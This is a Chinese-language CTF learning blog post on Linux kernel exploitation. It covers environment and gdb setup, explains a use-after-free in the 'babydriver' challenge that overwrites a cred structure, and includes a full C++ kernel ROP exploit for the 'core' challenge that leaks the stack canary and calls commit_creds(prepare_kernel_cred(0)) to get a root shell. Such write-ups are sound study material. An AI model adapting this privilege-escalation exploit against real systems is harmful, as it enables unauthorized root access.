开始玩kernel系列,第一个kernel uaf差不多是想明白了,写下记录

kernel UAF

由于是第一道kernel,所以加一些环境相关的记录。

  • 由于kernel pwn题一般会提供一个 boot.sh ,也就是启动脚本,并且大多使用qemu来起系统,所以qemu必须得有。
  • 其次,调试的时候也需要有gdb,gdb也得装。
  • 单纯的gdb可能不太好用,这时需要装一个gef插件『调内核这个相对好用一些』

pwn题所给的文件除了启动文件后一般还会有一个内核压缩文件(bzImage),如果本地下载/编译过linux kernel,在源码文件夹的scriptes目录会有这样一个脚本(路径:linux-4.4.72/scripts/extract-vmlinux
),使用该脚本可将bzImage解压成vmlinux(./extract-vmlinux bzImage > ./vmlinux),如果vmlinux中有符号表的话就可以带符号表调试kernel了(gdb -q ./vmlinux)

除了上述的两个文件外一般还会带有一个文件系统的压缩文件,rootfs.cpio(可能也有别的压缩形式)
对于cpio包,可以用『cpio -idmv < ./initramfs.img』解包(ps:注意这个文件到底是不是cpio文件,如果是gz文件需要 gunzip xxx.cpio.gz先解压),注意建议在空目录下执行,可以用『find . | cpio -o --format=newc > ../rootfs.cpio』在该目录下重新打包
解包后的文件夹内可以看到一个init文件,该文件会于系统启动后自动执行,一般情况下会在init文件内发现有内核模块挂载行为(insmod /lib/modules/4.4.72/babydriver.ko),大多数情况下这个内核模块就是我们需要分析的文件。
根据有问题的驱动模块写好的exp脚本可以放在上述文件夹内一起打包成文件镜像,之后可以在系统起起来后执行

调试相关

  • 用『boot.sh』文件起系统
  • 在跑起来的系统内执行『cat /proc/modules』可以看到所有加载了的内核模块,找到我们分析的模块并记下加载地址
  • 有vmlinux的时候可以『gdb -q ./vmlinux』先起gdb
  • gdb起来后建议先设置相关设置『set architecture i386:x86-64:intel』
  • 连接上qemu启动起来的系统『target remote :1234』(注意需要在boot.sh中加入-s参数用于开启调试,并且需要注意端口是否一致)
  • 使用gdb从拿到的内核模块文件读取符号表,gdb内执行『add-symbol-file ./babydriver.ko 0xffffffffc0000000』,最后的那个地址就是之前所记录下的内核加载地址
  • 完成后便可以在函数处下断点以及执行exp了(例:b babyioctl)

wiki上这类型题只有一道,难度也不是很大,简单谈一下自己的理解

  • 首先从open和release函数可以看到对模块打开和关闭的时候会操作一块内存『device_buf』,open的时候还会记录device_buf的大小『device_buf_len』。
  • 利用ioctl函数可以重新申请『device_buf』这块内存,并且大小可控
  • 看完各个功能模块后需要思考一个问题,对模块进行打开和关闭的时候只是会重置『babydev_struct』结构体中的一个指针和一个记录内存大小的值。那么,这个结构体存在哪儿呢?在ida中跟随结构体实例可以发现他的位置在ko文件的『.bss』段,但整个ko文件会在系统启动后的第一时间整体加载到内存中(init文件)。这便意味着整个结构体可以复用,即同时两次open该模块,对其中一个文件指针做出的各种改变也会同步到另一个文件指针中。
  • 看懂上述操作后就可以整理思路来,既然结构体实例是复用的,那么两次open后再free掉一个,就可以构成一个UAF(free时会释放device_buf)
  • 有漏洞后思考如何利用漏洞做事,内核漏洞一般提权用(毕竟都能执行exp了肯定有普通用户权限)。内核中有一个结构体『cred 结构体』,内核通过该结构体中的数据判断相关权限等

4.4.72的cred结构体定义如下

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};

那便可以通过ioctl将一个设备的device_buf大小改为该结构体的大小,然后通过fork创建出一个子线程,子线程在创建的时候会自动申请一个 cred 结构体,又因为刚才释放过一个相同大小的内存空间,则会将该内存拿过来直接用。这样便可以通过另一个打开的设备指针对该空间进行读写,全改0就ok。
wiki上也有exp,这里就只谈理解了。

kernel ROP

这篇也搞懂了,搞懂之后发现内核也是挺好玩的。

内核rop的利用过程大致就是:

  • 找commit_creds和prepare_kernel_cred地址->
  • 找可利用的gadget地址->
  • 保存cs、ss、rsp、rflags信息用于从内核态返回用户态起shell->
  • 构造rop,利用内核栈溢出进行调用commit_creds(prepare_kernel_cred(0))提权,并于提权成功后调用swapgs; iretq返回用户态起shell

整体来说,栈布局应如下:
图片.png

脚本有借鉴wiki上的成分
编译:g++ -o a -static -masm=intel a.cpp

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <iostream>
#include <fstream>
#include <string>
using namespace std;


size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void getshell()
{
    if(!getuid()) 
        system("/bin/sh");
    else
        puts("[-] getshell error");
}

int main(int argc, char const *argv[])
{
    save_status();
    size_t commit_creds=0, prepare_kernel_cred=0;
    string getlines1;
    ifstream fd1("/tmp/kallsyms");
    if(fd1.is_open()) {
        while(!fd1.eof()) {
            if(commit_creds && prepare_kernel_cred)
                break;

            getline(fd1, getlines1);
            if(!commit_creds && getlines1.find("commit_creds")!=getlines1.npos) {
                char num[16];
                getlines1.copy(num, 16, 0);
                sscanf(num, "%llx", &commit_creds);
            }
            if(!prepare_kernel_cred && getlines1.find("prepare_kernel_cred")!=getlines1.npos) {
                char num[16];
                getlines1.copy(num, 16, 0);
                sscanf(num, "%llx", &prepare_kernel_cred);
            }
        }
    }
    size_t vmlinux_base = commit_creds - 0xffffffff8109c8e0;    // the commit_creds offset in vmlinux

    cout << hex;
    cout << "[+] vmlinux base => " << vmlinux_base << endl;
    cout << "[+] commit_creds => " << commit_creds << endl;
    cout << "[+] prepare_kernel_cred => " << prepare_kernel_cred << endl;

    int fd = open("/proc/core", O_RDWR);
    ioctl(fd, 0x6677889C, 0x40);    // set off

    char canary_array[64];
    ioctl(fd, 0x6677889B, canary_array);    // get canary
    size_t canary = ((size_t*)canary_array)[0];
    cout << "[+] canary => " << canary << endl;

    size_t rop[0x100];
    int i;
    for(i=0; i<10; i++) {
        rop[i]=canary;
    }
    rop[i++] = 0xffffffff81000b2f+vmlinux_base;    // pop rdi; ret;
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;
    rop[i++] = 0xffffffff81021e53+vmlinux_base;    // pop rcx; ret;
    rop[i++] = commit_creds;
    rop[i++] = 0xffffffff811ae978+vmlinux_base;    // mov rdi, rax; jmp rcx;
    rop[i++] = 0xffffffff81a012da+vmlinux_base;    // swapgs; popfq; ret;
    rop[i++] = 0;
    rop[i++] = 0xffffffff81050ac2+vmlinux_base;    // iretq; ret;
    rop[i++] = (size_t)getshell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    write(fd, rop, 0x100);
    ioctl(fd, 0x6677889A, 0xffffffffffff0000|(0x100));

    return 0;
}

Q.E.D.


来都来了,点个广告再走吧(=・ω・=)